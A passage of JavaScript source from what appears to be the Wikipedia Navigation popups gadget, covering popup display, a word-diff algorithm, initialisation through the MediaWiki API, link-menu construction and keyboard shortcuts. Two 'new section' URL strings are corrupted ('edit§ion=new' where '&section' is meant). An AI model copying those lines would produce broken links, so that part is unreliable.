* Shows the popup using CSS. Runs hooks with key 'unhide'.
* Sets {@link #visible} appropriately. {@link #show} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.unhide = function () {
this.runHooks('unhide', 'before');
if (typeof this.visible != 'undefined' && !this.visible) {
this.mainDiv.style.display = 'inline';
this.visible = true;
}
this.runHooks('unhide', 'after');
};
/**
* Sets the <code>innerHTML</code> attribute of the main div containing the popup content.
*
* @param {string} html The HTML to set.
*/
Navpopup.prototype.setInnerHTML = function (html) {
this.mainDiv.innerHTML = html;
};
/**
* Updates the {@link #width} and {@link #height} attributes with the CSS properties.
*
* @private
*/
Navpopup.prototype.updateDimensions = function () {
this.width = parseInt(this.mainDiv.offsetWidth, 10);
this.height = parseInt(this.mainDiv.offsetHeight, 10);
};
/**
* Checks if the point (x,y) is within {@link #fuzz} of the
* {@link #mainDiv}.
*
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @type {boolean}
*/
Navpopup.prototype.isWithin = function (x, y) {
//~ If we're not even visible, no point should be considered as
//~ being within the popup.
if (!this.visible) {
return false;
}
this.updateDimensions();
const fuzz = this.fuzz || 0;
//~ Use a simple box metric here.
return (
x + fuzz >= this.left &&
x - fuzz <= this.left + this.width &&
y + fuzz >= this.top &&
y - fuzz <= this.top + this.height
);
};
/**
* Adds a download to {@link #downloads}.
*
* @param {Downloader} download
*/
Navpopup.prototype.addDownload = function (download) {
if (!download) {
return;
}
this.downloads.push(download);
};
/**
* Aborts the downloads listed in {@link #downloads}.
*
* @see Downloader#abort
*/
Navpopup.prototype.abortDownloads = function () {
for (let i = 0; i < this.downloads.length; ++i) {
const d = this.downloads[i];
if (d && d.abort) {
d.abort();
}
}
this.downloads = [];
};
/**
* A {@link Mousetracker} instance which is a property of the constructor (pseudo-global).
*/
Navpopup.tracker = new Mousetracker();
// ENDFILE: navpopup.js
// STARTFILE: diff.js
/*
* Javascript Diff Algorithm
* By John Resig (http://ejohn.org/) and [[:en:User:Lupin]]
*
* More Info:
* http://ejohn.org/projects/javascript-diff-algorithm/
*/
function delFmt(x) {
if (!x.length) {
return '';
}
return "<del class='popupDiff'>" + x.join('') + '</del>';
}
function insFmt(x) {
if (!x.length) {
return '';
}
return "<ins class='popupDiff'>" + x.join('') + '</ins>';
}
function countCrossings(a, b, i, eject) {
// count the crossings on the edge starting at b[i]
if (!b[i].row && b[i].row !== 0) {
return -1;
}
let count = 0;
for (let j = 0; j < a.length; ++j) {
if (!a[j].row && a[j].row !== 0) {
continue;
}
if ((j - b[i].row) * (i - a[j].row) > 0) {
if (eject) {
return true;
}
count++;
}
}
return count;
}
function shortenDiffString(str, context) {
const re = /(<del[\s\S]*?<\/del>|<ins[\s\S]*?<\/ins>)/;
const splitted = str.parenSplit(re);
let ret = [''];
for (let i = 0; i < splitted.length; i += 2) {
if (splitted[i].length < 2 * context) {
ret[ret.length - 1] += splitted[i];
if (i + 1 < splitted.length) {
ret[ret.length - 1] += splitted[i + 1];
}
continue;
} else {
if (i > 0) {
ret[ret.length - 1] += splitted[i].substring(0, context);
}
if (i + 1 < splitted.length) {
ret.push(splitted[i].substring(splitted[i].length - context) + splitted[i + 1]);
}
}
}
while (ret.length > 0 && !ret[0]) {
ret = ret.slice(1);
}
return ret;
}
function diffString(o, n, simpleSplit) {
const splitRe = /([[]{2}|[\]]{2}|[{]{2,3}|[}]{2,3}|[|]|=|<|>|[*:]+|\s|\b)/;
// We need to split the strings o and n first, and entify() the parts
// individually, so that the HTML entities are never cut apart. (AxelBoldt)
let out, i, oSplitted, nSplitted;
if (simpleSplit) {
oSplitted = o.split(/\b/);
nSplitted = n.split(/\b/);
} else {
oSplitted = o.parenSplit(splitRe);
nSplitted = n.parenSplit(splitRe);
}
for (i = 0; i < oSplitted.length; ++i) {
oSplitted[i] = oSplitted[i].entify();
}
for (i = 0; i < nSplitted.length; ++i) {
nSplitted[i] = nSplitted[i].entify();
}
out = diff(oSplitted, nSplitted);
let str = '';
let acc = []; // accumulator for prettier output
// crossing pairings -- eg 'A B' vs 'B A' -- cause problems, so let's iron them out
// this doesn't always do things optimally but it should be fast enough
let maxOutputPair = 0;
for (i = 0; i < out.n.length; ++i) {
if (out.n[i].paired) {
if (maxOutputPair > out.n[i].row) {
// tangle - delete pairing
out.o[out.n[i].row] = out.o[out.n[i].row].text;
out.n[i] = out.n[i].text;
}
if (maxOutputPair < out.n[i].row) {
maxOutputPair = out.n[i].row;
}
}
}
// output the stuff preceding the first paired old line
for (i = 0; i < out.o.length && !out.o[i].paired; ++i) {
acc.push(out.o[i]);
}
str += delFmt(acc);
acc = [];
// main loop
for (i = 0; i < out.n.length; ++i) {
// output unpaired new "lines"
while (i < out.n.length && !out.n[i].paired) {
acc.push(out.n[i++]);
}
str += insFmt(acc);
acc = [];
if (i < out.n.length) {
// this new "line" is paired with the (out.n[i].row)th old "line"
str += out.n[i].text;
// output unpaired old rows starting after this new line's partner
let m = out.n[i].row + 1;
while (m < out.o.length && !out.o[m].paired) {
acc.push(out.o[m++]);
}
str += delFmt(acc);
acc = [];
}
}
return str;
}
// see http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object
// FIXME: use obj.hasOwnProperty instead of this kludge!
const jsReservedProperties = RegExp(
'^(constructor|prototype|__((define|lookup)[GS]etter)__' +
'|eval|hasOwnProperty|propertyIsEnumerable' +
'|to(Source|String|LocaleString)|(un)?watch|valueOf)$'
);
function diffBugAlert(word) {
if (!diffBugAlert.list[word]) {
diffBugAlert.list[word] = 1;
alert('Bad word: ' + word + '\n\nPlease report this bug.');
}
}
diffBugAlert.list = {};
function makeDiffHashtable(src) {
const ret = {};
for (let i = 0; i < src.length; i++) {
if (jsReservedProperties.test(src[i])) {
src[i] += '<!-- -->';
}
if (!ret[src[i]]) {
ret[src[i]] = [];
}
try {
ret[src[i]].push(i);
} catch (err) {
diffBugAlert(src[i]);
}
}
return ret;
}
function diff(o, n) {
// pass 1: make hashtable ns with new rows as keys
const ns = makeDiffHashtable(n);
// pass 2: make hashtable os with old rows as keys
const os = makeDiffHashtable(o);
// pass 3: pair unique new rows and matching unique old rows
let i;
for (i in ns) {
if (ns[i].length == 1 && os[i] && os[i].length == 1) {
n[ns[i][0]] = { text: n[ns[i][0]], row: os[i][0], paired: true };
o[os[i][0]] = { text: o[os[i][0]], row: ns[i][0], paired: true };
}
}
// pass 4: pair matching rows immediately following paired rows (not necessarily unique)
for (i = 0; i < n.length - 1; i++) {
if (
n[i].paired &&
!n[i + 1].paired &&
n[i].row + 1 < o.length &&
!o[n[i].row + 1].paired &&
n[i + 1] == o[n[i].row + 1]
) {
n[i + 1] = { text: n[i + 1], row: n[i].row + 1, paired: true };
o[n[i].row + 1] = { text: o[n[i].row + 1], row: i + 1, paired: true };
}
}
// pass 5: pair matching rows immediately preceding paired rows (not necessarily unique)
for (i = n.length - 1; i > 0; i--) {
if (
n[i].paired &&
!n[i - 1].paired &&
n[i].row > 0 &&
!o[n[i].row - 1].paired &&
n[i - 1] == o[n[i].row - 1]
) {
n[i - 1] = { text: n[i - 1], row: n[i].row - 1, paired: true };
o[n[i].row - 1] = { text: o[n[i].row - 1], row: i - 1, paired: true };
}
}
return { o: o, n: n };
}
// ENDFILE: diff.js
// STARTFILE: init.js
function setSiteInfo() {
if (window.popupLocalDebug) {
pg.wiki.hostname = 'en.wikipedia.org';
} else {
pg.wiki.hostname = location.hostname; // use in preference to location.hostname for flexibility (?)
}
pg.wiki.wikimedia = /(wiki([pm]edia|source|books|news|quote|versity|species|voyage|data)|metawiki|wiktionary|mediawiki)[.]org/.test(pg.wiki.hostname);
pg.wiki.wikia = /[.]wikia[.]com$/i.test(pg.wiki.hostname);
pg.wiki.isLocal = /^localhost/.test(pg.wiki.hostname);
pg.wiki.commons =
pg.wiki.wikimedia && pg.wiki.hostname != 'commons.wikimedia.org' ?
'commons.wikimedia.org' :
null;
pg.wiki.lang = mw.config.get('wgContentLanguage');
const port = location.port ? ':' + location.port : '';
pg.wiki.sitebase = pg.wiki.hostname + port;
}
function setUserInfo() {
const params = {
action: 'query',
list: 'users',
ususers: mw.config.get('wgUserName'),
usprop: 'rights',
};
pg.user.canReview = false;
if (getValueOf('popupReview')) {
getMwApi()
.get(params)
.done((data) => {
const rights = data.query.users[0].rights;
pg.user.canReview = rights.indexOf('review') !== -1; // TODO: Should it be a getValueOf('ReviewRight') ?
});
}
}
function fetchSpecialPageNames() {
const params = {
action: 'query',
meta: 'siteinfo',
siprop: 'specialpagealiases',
formatversion: 2,
// cache for an hour
uselang: 'content',
maxage: 3600,
};
return getMwApi()
.get(params)
.then((data) => {
pg.wiki.specialpagealiases = data.query.specialpagealiases;
});
}
function setTitleBase() {
const protocol = window.popupLocalDebug ? 'http:' : location.protocol;
pg.wiki.articlePath = mw.config.get('wgArticlePath').replace(/\/\$1/, ''); // as in http://some.thing.com/wiki/Article
pg.wiki.botInterfacePath = mw.config.get('wgScript');
pg.wiki.APIPath = mw.config.get('wgScriptPath') + '/api.php';
// default mediawiki setting is paths like http://some.thing.com/articlePath/index.php?title=foo
const titletail = pg.wiki.botInterfacePath + '?title=';
//var titletail2 = joinPath([pg.wiki.botInterfacePath, 'wiki.phtml?title=']);
// other sites may need to add code here to set titletail depending on how their urls work
pg.wiki.titlebase = protocol + '//' + pg.wiki.sitebase + titletail;
//pg.wiki.titlebase2 = protocol + '//' + joinPath([pg.wiki.sitebase, titletail2]);
pg.wiki.wikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.botInterfacePath;
pg.wiki.apiwikibase = protocol + '//' + pg.wiki.sitebase + pg.wiki.APIPath;
pg.wiki.articlebase = protocol + '//' + pg.wiki.sitebase + pg.wiki.articlePath;
pg.wiki.commonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.botInterfacePath;
pg.wiki.apicommonsbase = protocol + '//' + pg.wiki.commons + pg.wiki.APIPath;
pg.re.basenames = RegExp(
'^(' +
map(literalizeRegex, [
pg.wiki.titlebase, //pg.wiki.titlebase2,
pg.wiki.articlebase,
]).join('|') +
')'
);
}
//////////////////////////////////////////////////
// Global regexps
function setMainRegex() {
const reStart = '[^:]*://';
let preTitles =
// Take customizable wgScript into account (it isn't guaranteed to be index.php)
'(?:' + literalizeRegex(mw.config.get('wgScript')) + '|' +
// handle index.php (likely to work even if different from wgScript) and legacy wiki.phtml
literalizeRegex(mw.config.get('wgScriptPath')) + '/(?:index[.]php|wiki[.]phtml))';
preTitles += '[?]title=|' + literalizeRegex(pg.wiki.articlePath + '/');
const reEnd = '(' + preTitles + ')([^&?#]*)[^#]*(?:#(.+))?';
pg.re.main = RegExp(reStart + literalizeRegex(pg.wiki.sitebase) + reEnd);
}
function buildSpecialPageGroup(specialPageObj) {
const variants = [];
variants.push(mw.util.escapeRegExp(specialPageObj.realname));
variants.push(mw.util.escapeRegExp(encodeURI(specialPageObj.realname)));
specialPageObj.aliases.forEach((alias) => {
variants.push(mw.util.escapeRegExp(alias));
variants.push(mw.util.escapeRegExp(encodeURI(alias)));
});
return variants.join('|');
}
function setRegexps() {
setMainRegex();
const sp = nsRe(pg.nsSpecialId);
pg.re.urlNoPopup = RegExp('((title=|/)' + sp + '(?:%3A|:)|section=[0-9]|^#$)');
pg.wiki.specialpagealiases.forEach((specialpage) => {
if (specialpage.realname === 'Contributions') {
pg.re.contribs = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/' +
nsRe(pg.nsUserId) +
':)(.*)',
'i'
);
} else if (specialpage.realname === 'Diff') {
pg.re.specialdiff = RegExp(
'/' + sp + '(?:%3A|:)(?:' + buildSpecialPageGroup(specialpage) + ')/([^?#]*)',
'i'
);
} else if (specialpage.realname === 'Emailuser') {
pg.re.email = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/|/(?:' +
nsRe(pg.nsUserId) +
':)?)(.*)',
'i'
);
} else if (specialpage.realname === 'Whatlinkshere') {
pg.re.backlinks = RegExp(
'(title=|/)' +
sp +
'(?:%3A|:)(?:' +
buildSpecialPageGroup(specialpage) +
')' +
'(&target=|/)([^&]*)',
'i'
);
}
});
const im = nsReImage();
// note: tries to get images in infobox templates too, e.g. movie pages, album pages etc
// (^|\[\[)image: *([^|\]]*[^|\] ]) *
// (^|\[\[)image: *([^|\]]*[^|\] ])([^0-9\]]*([0-9]+) *px)?
// $4 = 120 as in 120px
pg.re.image = RegExp(
'(^|\\[\\[)' +
im +
': *([^|\\]]*[^|\\] ])' +
'([^0-9\\]]*([0-9]+) *px)?|(?:\\n *[|]?|[|]) *' +
'(' +
getValueOf('popupImageVarsRegexp') +
')' +
' *= *(?:\\[\\[ *)?(?:' +
im +
':)?' +
'([^|]*?)(?:\\]\\])? *[|]? *\\n',
'img'
);
pg.re.imageBracketCount = 6;
pg.re.category = RegExp('\\[\\[' + nsRe(pg.nsCategoryId) + ': *([^|\\]]*[^|\\] ]) *', 'i');
pg.re.categoryBracketCount = 1;
pg.re.ipUser = RegExp(
'^' +
// IPv6
'(?::(?::|(?::[0-9A-Fa-f]{1,4}){1,7})|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){0,6}::|[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4}){7})' +
// IPv4
'|(((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}' +
'(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9]))$'
);
pg.re.stub = RegExp(getValueOf('popupStubRegexp'), 'im');
pg.re.disambig = RegExp(getValueOf('popupDabRegexp'), 'im');
// FIXME replace with general parameter parsing function, this is daft
pg.re.oldid = /[?&]oldid=([^&]*)/;
pg.re.diff = /[?&]diff=([^&]*)/;
}
//////////////////////////////////////////////////
// miscellany
function setupCache() {
// page caching
pg.cache.pages = [];
}
function setMisc() {
pg.current.link = null;
pg.current.links = [];
pg.current.linksHash = {};
setupCache();
pg.timer.checkPopupPosition = null;
pg.counter.loop = 0;
// ids change with each popup: popupImage0, popupImage1 etc
pg.idNumber = 0;
// for myDecodeURI
pg.misc.decodeExtras = [
{ from: '%2C', to: ',' },
{ from: '_', to: ' ' },
{ from: '%24', to: '$' },
{ from: '%26', to: '&' }, // no ,
];
}
function getMwApi() {
if (!pg.api.client) {
pg.api.userAgent = 'Navigation popups/1.0 (' + mw.config.get('wgServerName') + ')';
pg.api.client = new mw.Api({
ajax: {
headers: {
'Api-User-Agent': pg.api.userAgent,
},
},
});
}
return pg.api.client;
}
// We need a callback since this might end up asynchronous because of
// the mw.loader.using() call.
function setupPopups(callback) {
if (setupPopups.completed) {
if (typeof callback === 'function') {
callback();
}
return;
}
// These dependencies should alse be enforced from the gadget,
// but not everyone loads this as a gadget, so double check
mw.loader
.using([
'mediawiki.util',
'mediawiki.api',
'mediawiki.user',
'user.options',
'mediawiki.jqueryMsg',
])
.then(fetchSpecialPageNames)
.then(() => {
// NB translatable strings should be set up first (strings.js)
// basics
setupDebugging();
setSiteInfo();
setTitleBase();
setOptions(); // see options.js
setUserInfo();
// namespaces etc
setNamespaces();
setInterwiki();
// regexps
setRegexps();
setRedirs();
// other stuff
setMisc();
setupLivePreview();
// main deal here
setupTooltips();
log('In setupPopups(), just called setupTooltips()');
Navpopup.tracker.enable();
setupPopups.completed = true;
if (typeof callback === 'function') {
callback();
}
});
}
// ENDFILE: init.js
// STARTFILE: navlinks.js
//////////////////////////////////////////////////
// navlinks... let the fun begin
//
function defaultNavlinkSpec() {
let str = '';
str += '<b><<mainlink|shortcut= >></b>';
if (getValueOf('popupLastEditLink')) {
str +=
'*<<lastEdit|shortcut=/>>|<<lastContrib>>|<<sinceMe>>if(oldid){|<<oldEdit>>|<<diffCur>>}';
}
// user links
// contribs - log - count - email - block
// count only if applicable; block only if popupAdminLinks
str += 'if(user){<br><<contribs|shortcut=c>>*<<userlog|shortcut=L|log>>';
str += 'if(ipuser){*<<arin>>}if(wikimedia){*<<count|shortcut=#>>}';
str +=
'if(ipuser){}else{*<<email|shortcut=E>>}if(admin){*<<block|shortcut=b>>|<<blocklog|log>>}}';
// editing links
// talkpage -> edit|new - history - un|watch - article|edit
// other page -> edit - history - un|watch - talk|edit|new
const editstr = '<<edit|shortcut=e>>';
const editOldidStr =
'if(oldid){<<editOld|shortcut=e>>|<<revert|shortcut=v|rv>>|<<edit|cur>>}else{' +
editstr +
'}';
const historystr = '<<history|shortcut=h>>|<<editors|shortcut=E|>>';
const watchstr = '<<unwatch|unwatchShort>>|<<watch|shortcut=w|watchThingy>>';
str +=
'<br>if(talk){' +
editOldidStr +
'|<<new|shortcut=+>>' +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<article|shortcut=a>></b>|<<editArticle|edit>>' +
'}else{' + // not a talk page
editOldidStr +
'*' +
historystr +
'*' +
watchstr +
'*' +
'<b><<talk|shortcut=t>></b>|<<editTalk|edit>>|<<newTalk|shortcut=+|new>>}';
// misc links
str += '<br><<whatLinksHere|shortcut=l>>*<<relatedChanges|shortcut=r>>*<<move|shortcut=m>>';
// admin links
str +=
'if(admin){<br><<unprotect|unprotectShort>>|<<protect|shortcut=p>>|<<protectlog|log>>*' +
'<<undelete|undeleteShort>>|<<delete|shortcut=d>>|<<deletelog|log>>}';
return str;
}
function navLinksHTML(article, hint, params) {
//oldid, rcid) {
const str = '<span class="popupNavLinks">' + defaultNavlinkSpec() + '</span>';
// BAM
return navlinkStringToHTML(str, article, params);
}
function expandConditionalNavlinkString(s, article, z, recursionCount) {
const oldid = z.oldid,
rcid = z.rcid,
diff = z.diff;
// nested conditionals (up to 10 deep) are ok, hopefully! (work from the inside out)
if (typeof recursionCount != typeof 0) {
recursionCount = 0;
}
const conditionalSplitRegex = RegExp(
//(1 if \\( (2 2) \\) {(3 3)} (4 else {(5 5)} 4)1)
'(;?\\s*if\\s*\\(\\s*([\\w]*)\\s*\\)\\s*\\{([^{}]*)\\}(\\s*else\\s*\\{([^{}]*?)\\}|))',
'i'
);
const splitted = s.parenSplit(conditionalSplitRegex);
// $1: whole conditional
// $2: test condition
// $3: true expansion
// $4: else clause (possibly empty)
// $5: false expansion (possibly null)
const numParens = 5;
let ret = splitted[0];
for (let i = 1; i < splitted.length; i = i + numParens + 1) {
const testString = splitted[i + 2 - 1];
const trueString = splitted[i + 3 - 1];
let falseString = splitted[i + 5 - 1];
if (typeof falseString == 'undefined' || !falseString) {
falseString = '';
}
let testResult = null;
switch (testString) {
case 'user':
testResult = !!article.userName();
break;
case 'talk':
testResult = !article.talkPage(); // talkPage converts _articles_ to talkPages
break;
case 'admin':
testResult = !!getValueOf('popupAdminLinks');
break;
case 'oldid':
testResult = !!(typeof oldid != 'undefined' && oldid);
break;
case 'rcid':
testResult = !!(typeof rcid != 'undefined' && rcid);
break;
case 'ipuser':
testResult = !!article.isIpUser();
break;
case 'mainspace_en':
testResult = isInMainNamespace(article) && pg.wiki.hostname == 'en.wikipedia.org';
break;
case 'wikimedia':
testResult = !!pg.wiki.wikimedia;
break;
case 'diff':
testResult = !!(typeof diff != 'undefined' && diff);
break;
}
switch (testResult) {
case null:
ret += splitted[i];
break;
case true:
ret += trueString;
break;
case false:
ret += falseString;
break;
}
// append non-conditional string
ret += splitted[i + numParens];
}
if (conditionalSplitRegex.test(ret) && recursionCount < 10) {
return expandConditionalNavlinkString(ret, article, z, recursionCount + 1);
}
return ret;
}
function navlinkStringToArray(s, article, params) {
s = expandConditionalNavlinkString(s, article, params);
const splitted = s.parenSplit(/<<(.*?)>>/);
const ret = [];
for (let i = 0; i < splitted.length; ++i) {
if (i % 2) {
// i odd, so s is a tag
const t = new navlinkTag();
const ss = splitted[i].split('|');
t.id = ss[0];
for (let j = 1; j < ss.length; ++j) {
const sss = ss[j].split('=');
if (sss.length > 1) {
t[sss[0]] = sss[1];
} else {
// no assignment (no "="), so treat this as a title (overwriting the last one)
t.text = popupString(sss[0]);
}
}
t.article = article;
const oldid = params.oldid,
rcid = params.rcid,
diff = params.diff;
if (typeof oldid !== 'undefined' && oldid !== null) {
t.oldid = oldid;
}
if (typeof rcid !== 'undefined' && rcid !== null) {
t.rcid = rcid;
}
if (typeof diff !== 'undefined' && diff !== null) {
t.diff = diff;
}
if (!t.text && t.id !== 'mainlink') {
t.text = popupString(t.id);
}
ret.push(t);
} else {
// plain HTML
ret.push(splitted[i]);
}
}
return ret;
}
function navlinkSubstituteHTML(s) {
return s
.split('*')
.join(getValueOf('popupNavLinkSeparator'))
.split('<menurow>')
.join('<li class="popup_menu_row">')
.split('</menurow>')
.join('</li>')
.split('<menu>')
.join('<ul class="popup_menu">')
.split('</menu>')
.join('</ul>');
}
function navlinkDepth(magic, s) {
return s.split('<' + magic + '>').length - s.split('</' + magic + '>').length;
}
// navlinkString: * becomes the separator
// <<foo|bar=baz|fubar>> becomes a foo-link with attribute bar='baz'
// and visible text 'fubar'
// if(test){...} and if(test){...}else{...} work too (nested ok)
function navlinkStringToHTML(s, article, params) {
//limitAlert(navlinkStringToHTML, 5, 'navlinkStringToHTML\n' + article + '\n' + (typeof article));
const p = navlinkStringToArray(s, article, params);
let html = '';
let menudepth = 0; // nested menus not currently allowed, but doesn't do any harm to code for it
let menurowdepth = 0;
for (let i = 0; i < p.length; ++i) {
if (typeof p[i] == typeof '') {
html += navlinkSubstituteHTML(p[i]);
menudepth += navlinkDepth('menu', p[i]);
menurowdepth += navlinkDepth('menurow', p[i]);
// if (menudepth === 0) {
// tagType='span';
// } else if (menurowdepth === 0) {
// tagType='li';
// } else {
// tagType = null;
// }
} else if (typeof p[i].type != 'undefined' && p[i].type == 'navlinkTag') {
if (menudepth > 0 && menurowdepth === 0) {
html += '<li class="popup_menu_item">' + p[i].html() + '</li>';
} else {
html += p[i].html();
}
}
}
return html;
}
function navlinkTag() {
this.type = 'navlinkTag';
}
navlinkTag.prototype.html = function () {
this.getNewWin();
this.getPrintFunction();
let html = '';
let opening, closing;
const tagType = 'span';
if (!tagType) {
opening = '';
closing = '';
} else {
opening = '<' + tagType + ' class="popup_' + this.id + '">';
closing = '</' + tagType + '>';
}
if (typeof this.print != 'function') {
errlog('Oh dear - invalid print function for a navlinkTag, id=' + this.id);
} else {
html = this.print(this);
if (typeof html != typeof '') {
html = '';
} else if (typeof this.shortcut != 'undefined') {
html = addPopupShortcut(html, this.shortcut);
}
}
return opening + html + closing;
};
navlinkTag.prototype.getNewWin = function () {
getValueOf('popupLinksNewWindow');
if (typeof pg.option.popupLinksNewWindow[this.id] === 'undefined') {
this.newWin = null;
}
this.newWin = pg.option.popupLinksNewWindow[this.id];
};
navlinkTag.prototype.getPrintFunction = function () {
//think about this some more
// this.id and this.article should already be defined
if (typeof this.id != typeof '' || typeof this.article != typeof {}) {
return;
}
this.noPopup = 1;
switch (this.id) {
case 'contribs':
case 'history':
case 'whatLinksHere':
case 'userPage':
case 'monobook':
case 'userTalk':
case 'talk':
case 'article':
case 'lastEdit':
this.noPopup = null;
}
switch (this.id) {
case 'email':
case 'contribs':
case 'block':
case 'unblock':
case 'userlog':
case 'userSpace':
case 'deletedContribs':
this.article = this.article.userName();
}
switch (this.id) {
case 'userTalk':
case 'newUserTalk':
case 'editUserTalk':
case 'userPage':
case 'monobook':
case 'editMonobook':
case 'blocklog':
this.article = this.article.userName(true);
/* fall through */
case 'pagelog':
case 'deletelog':
case 'protectlog':
delete this.oldid;
}
if (this.id == 'editMonobook' || this.id == 'monobook') {
this.article.append('/monobook.js');
}
if (this.id != 'mainlink') {
// FIXME anchor handling should be done differently with Title object
this.article = this.article.removeAnchor();
// if (typeof this.text=='undefined') this.text=popupString(this.id);
}
switch (this.id) {
case 'undelete':
this.print = specialLink;
this.specialpage = 'Undelete';
this.sep = '/';
break;
case 'whatLinksHere':
this.print = specialLink;
this.specialpage = 'Whatlinkshere';
break;
case 'relatedChanges':
this.print = specialLink;
this.specialpage = 'Recentchangeslinked';
break;
case 'move':
this.print = specialLink;
this.specialpage = 'Movepage';
break;
case 'contribs':
this.print = specialLink;
this.specialpage = 'Contributions';
break;
case 'deletedContribs':
this.print = specialLink;
this.specialpage = 'Deletedcontributions';
break;
case 'email':
this.print = specialLink;
this.specialpage = 'EmailUser';
this.sep = '/';
break;
case 'block':
this.print = specialLink;
this.specialpage = 'Blockip';
this.sep = '&ip=';
break;
case 'unblock':
this.print = specialLink;
this.specialpage = 'Ipblocklist';
this.sep = '&action=unblock&ip=';
break;
case 'userlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&user=';
break;
case 'blocklog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=block&page=';
break;
case 'pagelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&page=';
break;
case 'protectlog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=protect&page=';
break;
case 'deletelog':
this.print = specialLink;
this.specialpage = 'Log';
this.sep = '&type=delete&page=';
break;
case 'userSpace':
this.print = specialLink;
this.specialpage = 'PrefixIndex';
this.sep = '&namespace=2&prefix=';
break;
case 'search':
this.print = specialLink;
this.specialpage = 'Search';
this.sep = '&fulltext=Search&search=';
break;
case 'thank':
this.print = specialLink;
this.specialpage = 'Thanks';
this.sep = '/';
this.article.value = this.diff !== 'prev' ? this.diff : this.oldid;
break;
case 'unwatch':
case 'watch':
this.print = magicWatchLink;
this.action =
this.id +
'&autowatchlist=1&autoimpl=' +
popupString('autoedit_version') +
'&actoken=' +
autoClickToken();
break;
case 'history':
case 'historyfeed':
case 'unprotect':
case 'protect':
this.print = wikiLink;
this.action = this.id;
break;
case 'delete':
this.print = wikiLink;
this.action = 'delete';
if (this.article.namespaceId() == pg.nsImageId) {
const img = this.article.stripNamespace();
this.action += '&image=' + img;
}
break;
case 'markpatrolled':
case 'edit': // editOld should keep the oldid, but edit should not.
delete this.oldid;
/* fall through */
case 'view':
case 'purge':
case 'render':
this.print = wikiLink;
this.action = this.id;
break;
case 'raw':
this.print = wikiLink;
this.action = 'raw';
break;
case 'new':
this.print = wikiLink;
this.action = 'edit§ion=new';
break;
case 'mainlink':
if (typeof this.text == 'undefined') {
this.text = this.article.toString().entify();
}
if (getValueOf('popupSimplifyMainLink') && isInStrippableNamespace(this.article)) {
// only show the /subpage part of the title text
const s = this.text.split('/');
this.text = s[s.length - 1];
if (this.text === '' && s.length > 1) {
this.text = s[s.length - 2];
}
}
this.print = titledWikiLink;
if (
typeof this.title === 'undefined' &&
pg.current.link &&
typeof pg.current.link.href !== 'undefined'
) {
this.title = safeDecodeURI(
pg.current.link.originalTitle ? pg.current.link.originalTitle : this.article
);
if (typeof this.oldid !== 'undefined' && this.oldid) {
this.title = tprintf('Revision %s of %s', [this.oldid, this.title]);
}
}
this.action = 'view';
break;
case 'userPage':
case 'article':
case 'monobook':
case 'editMonobook':
case 'editArticle':
delete this.oldid;
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.article = this.article.articleFromTalkOrArticle();
//alert(this.id+'\n'+this.article + '\n'+ typeof this.article);
this.print = wikiLink;
if (this.id.indexOf('edit') === 0) {
this.action = 'edit';
} else {
this.action = 'view';
}
break;
case 'userTalk':
case 'talk':
this.article = this.article.talkPage();
delete this.oldid;
this.print = wikiLink;
this.action = 'view';
break;
case 'arin':
this.print = arinLink;
break;
case 'count':
this.print = editCounterLink;
break;
case 'google':
this.print = googleLink;
break;
case 'editors':
this.print = editorListLink;
break;
case 'globalsearch':
this.print = globalSearchLink;
break;
case 'lastEdit':
this.print = titledDiffLink;
this.title = popupString('Show the last edit');
this.from = 'prev';
this.to = 'cur';
break;
case 'oldEdit':
this.print = titledDiffLink;
this.title = popupString('Show the edit made to get revision') + ' ' + this.oldid;
this.from = 'prev';
this.to = this.oldid;
break;
case 'editOld':
this.print = wikiLink;
this.action = 'edit';
break;
case 'undo':
this.print = wikiLink;
this.action = 'edit&undo=';
break;
case 'revert':
this.print = wikiLink;
this.action = 'revert';
break;
case 'nullEdit':
this.print = wikiLink;
this.action = 'nullEdit';
break;
case 'diffCur':
this.print = titledDiffLink;
this.title = tprintf('Show changes since revision %s', [this.oldid]);
this.from = this.oldid;
this.to = 'cur';
break;
case 'editUserTalk':
case 'editTalk':
delete this.oldid;
this.article = this.article.talkPage();
this.action = 'edit';
this.print = wikiLink;
break;
case 'newUserTalk':
case 'newTalk':
this.article = this.article.talkPage();
this.action = 'edit§ion=new';
this.print = wikiLink;
break;
case 'lastContrib':
case 'sinceMe':
this.print = magicHistoryLink;
break;
case 'togglePreviews':
this.text = popupString(pg.option.simplePopups ? 'enable previews' : 'disable previews');
/* fall through */
case 'disablePopups':
case 'purgePopups':
this.print = popupMenuLink;
break;
default:
this.print = function () {
return 'Unknown navlink type: ' + String(this.id);
};
}
};
//
// end navlinks
//////////////////////////////////////////////////
// ENDFILE: navlinks.js
// STARTFILE: shortcutkeys.js
function popupHandleKeypress(evt) {
const keyCode = window.event ? window.event.keyCode : evt.keyCode ? evt.keyCode : evt.which;
if (!keyCode || !pg.current.link || !pg.current.link.navpopup) {
return;
}
if (keyCode == 27) {
// escape
killPopup();
return false; // swallow keypress
}
const letter = String.fromCharCode(keyCode);
const links = pg.current.link.navpopup.mainDiv.getElementsByTagName('A');
let startLink = 0;
let i, j;
if (popupHandleKeypress.lastPopupLinkSelected) {
for (i = 0; i < links.length; ++i) {
if (links[i] == popupHandleKeypress.lastPopupLinkSelected) {
startLink = i;
}
}
}
for (j = 0; j < links.length; ++j) {
i = (startLink + j + 1) % links.length;
if (links[i].getAttribute('popupkey') == letter) {
if (evt && evt.preventDefault) {
evt.preventDefault();
